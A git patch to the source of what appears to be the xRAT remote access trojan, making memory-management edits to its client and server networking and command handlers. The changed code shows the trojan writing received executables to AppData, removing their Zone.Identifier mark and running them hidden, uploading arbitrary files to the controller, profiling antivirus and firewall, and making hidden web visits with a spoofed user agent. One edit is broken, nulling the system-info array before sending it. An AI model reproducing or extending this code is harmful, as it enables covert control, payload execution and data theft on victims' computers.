From 8c1c1ca00c3de2cef172b86900753285ec050795 Mon Sep 17 00:00:00 2001 From: 187Final Date: Fri, 1 Aug 2014 07:37:11 -0500 Subject: [PATCH] Minor changes - memory management --- Client/Core/Client.cs | 48 +++++++++------ Client/Core/Commands/CommandHandler.cs | 39 +++++++----- Client/Core/Server.cs | 85 ++++++++++++++++++++++++++ Server/Core/Client.cs | 48 +++++++++------ 4 files changed, 165 insertions(+), 55 deletions(-) create mode 100644 Client/Core/Server.cs diff --git a/Client/Core/Client.cs b/Client/Core/Client.cs index 03088dbf..0119d072 100644 --- a/Client/Core/Client.cs +++ b/Client/Core/Client.cs @@ -11,6 +11,7 @@ using System.ComponentModel; using System.IO; using System.Net; using System.Net.Sockets; +using System.Threading; namespace Core { @@ -269,6 +270,8 @@ namespace Core if (!_handle.ReceiveAsync(e)) Process(null, e); + + GC.Collect(); } else { @@ -376,31 +379,36 @@ namespace Core private void HandleSendQueue() { - for (int i = 0; i < 5; i++) + new Thread(() => { - try + for (int i = 0; i < 5; i++) { - if (_sendIndex >= _sendBuffer.Length) + try { - _sendIndex = 0; - _sendBuffer = Header(_sendQueue.Dequeue()); + if (_sendIndex >= _sendBuffer.Length) + { + _sendIndex = 0; + _sendBuffer = Header(_sendQueue.Dequeue()); + } + + int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize); + + _item[1].SetBuffer(_sendBuffer, _sendIndex, write); + + if (!_handle.SendAsync(_item[1])) + Process(null, _item[1]); + + GC.Collect(); + + return; + } + catch + { + continue; } - - int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize); - - _item[1].SetBuffer(_sendBuffer, _sendIndex, write); - - if (!_handle.SendAsync(_item[1])) - Process(null, _item[1]); - - return; } - catch - { - continue; - } - } - Disconnect(); + Disconnect(); + }).Start(); } private byte[] Header(byte[] data) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index ab67f3b4..a07cdac4 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -92,15 +92,14 @@ namespace Core.Commands { new Thread(new ThreadStart(() => { - byte[] fileBytes = command.FileBytes; string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { - if (fileBytes[0] != 'M' && fileBytes[1] != 'Z') + if (command.FileBytes[0] != 'M' && command.FileBytes[1] != 'Z') throw new Exception("no pe file"); - File.WriteAllBytes(tempFile, fileBytes); + File.WriteAllBytes(tempFile, command.FileBytes); DeleteFile(tempFile + ":Zone.Identifier"); @@ -113,10 +112,13 @@ namespace Core.Commands startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = tempFile; Process.Start(startInfo); + + command = null; } catch { DeleteFile(tempFile); + command = null; new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client); return; } @@ -320,11 +322,11 @@ namespace Core.Commands { try { - byte[] bytes = File.ReadAllBytes(command.RemotePath); - new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client); + new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), File.ReadAllBytes(command.RemotePath), command.ID).Execute(client); + command = null; } catch - { } + { command = null; } } public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client) @@ -378,28 +380,33 @@ namespace Core.Commands infoCollection[17] = SystemCore.GetAntivirus(); infoCollection[18] = "Firewall"; infoCollection[19] = SystemCore.GetFirewall(); + + command = null; + infoCollection = null; + new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); + } catch - { } + { + command = null; + } } public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client) { - string url = command.URL; + if (!command.URL.StartsWith("http")) + command.URL = "http://" + command.URL; - if (!url.StartsWith("http")) - url = "http://" + url; - - if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + if (Uri.IsWellFormedUriString(command.URL, UriKind.RelativeOrAbsolute)) { if (!command.Hidden) - Process.Start(url); + Process.Start(command.URL); else { try { - HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url); + HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(command.URL); Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36"; Request.AllowAutoRedirect = true; Request.Timeout = 10000; @@ -410,9 +417,10 @@ namespace Core.Commands reader.Close(); DataStream.Close(); Response.Close(); + command = null; } catch - { } + { command = null; } } new Core.Packets.ClientPackets.Status("Visited Website").Execute(client); @@ -423,6 +431,7 @@ namespace Core.Commands { MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client); + command = null; } public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client) diff --git a/Client/Core/Server.cs b/Client/Core/Server.cs new file mode 100644 index 00000000..54ea19fd --- /dev/null +++ b/Client/Core/Server.cs @@ -0,0 +1,85 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using Core.Packets; +using Core.Packets.ClientPackets; +using Core.Packets.ServerPackets; + +namespace Core +{ + public class Server + { + public event ServerStateEventHandler ServerState; + public delegate void ServerStateEventHandler(Server s, bool listening); + + private void OnServerState(bool listening) + { + if (ServerState != null) + { + ServerState(this, listening); + } + } + + public event ClientStateEventHandler ClientState; + public delegate void ClientStateEventHandler(Server s, Client c, bool connected); + + private void OnClientState(Client c, bool connected) + { + if (ClientState != null) + { + ClientState(this, c, connected); + } + } + + public event ClientReadEventHandler ClientRead; + public delegate void ClientReadEventHandler(Server s, Client c, IPacket packet); + + private void OnClientRead(Client c, IPacket packet) + { + if (ClientRead != null) + { + ClientRead(this, c, packet); + } + } + + public event ClientWriteEventHandler ClientWrite; + public delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length); + + private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData) + { + if (ClientWrite != null) + { + ClientWrite(this, c, packet, length); + } + } + + private bool Processing { get; set; } + public int BufferSize { get; set; } + + public bool Listening { get; private set; } + + private List _keepAlives; + + private List PacketTypes { get; set; } + + public Server(int bufferSize) + { + PacketTypes = new List(); + BufferSize = bufferSize; + } + + internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client) + { + foreach (KeepAlive keepAlive in _keepAlives) + { + if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client) + { + _keepAlives.Remove(keepAlive); + break; + } + } + } + } +} diff --git a/Server/Core/Client.cs b/Server/Core/Client.cs index 7010dc2c..4e142daa 100644 --- a/Server/Core/Client.cs +++ b/Server/Core/Client.cs @@ -11,6 +11,7 @@ using System.IO; using System.Net; using System.Net.Sockets; using xRAT_2.Settings; +using System.Threading; namespace Core { @@ -277,6 +278,8 @@ namespace Core if (!_handle.ReceiveAsync(e)) Process(null, e); + + GC.Collect(); } else { @@ -387,31 +390,36 @@ namespace Core private void HandleSendQueue() { - for (int i = 0; i < 5; i++) + new Thread(() => { - try + for (int i = 0; i < 5; i++) { - if (_sendIndex >= _sendBuffer.Length) + try { - _sendIndex = 0; - _sendBuffer = Header(_sendQueue.Dequeue()); + if (_sendIndex >= _sendBuffer.Length) + { + _sendIndex = 0; + _sendBuffer = Header(_sendQueue.Dequeue()); + } + + int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize); + + _item[1].SetBuffer(_sendBuffer, _sendIndex, write); + + if (!_handle.SendAsync(_item[1])) + Process(null, _item[1]); + + GC.Collect(); + + return; + } + catch + { + continue; } - - int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize); - - _item[1].SetBuffer(_sendBuffer, _sendIndex, write); - - if (!_handle.SendAsync(_item[1])) - Process(null, _item[1]); - - return; } - catch - { - continue; - } - } - Disconnect(); + Disconnect(); + }).Start(); } private byte[] Header(byte[] data)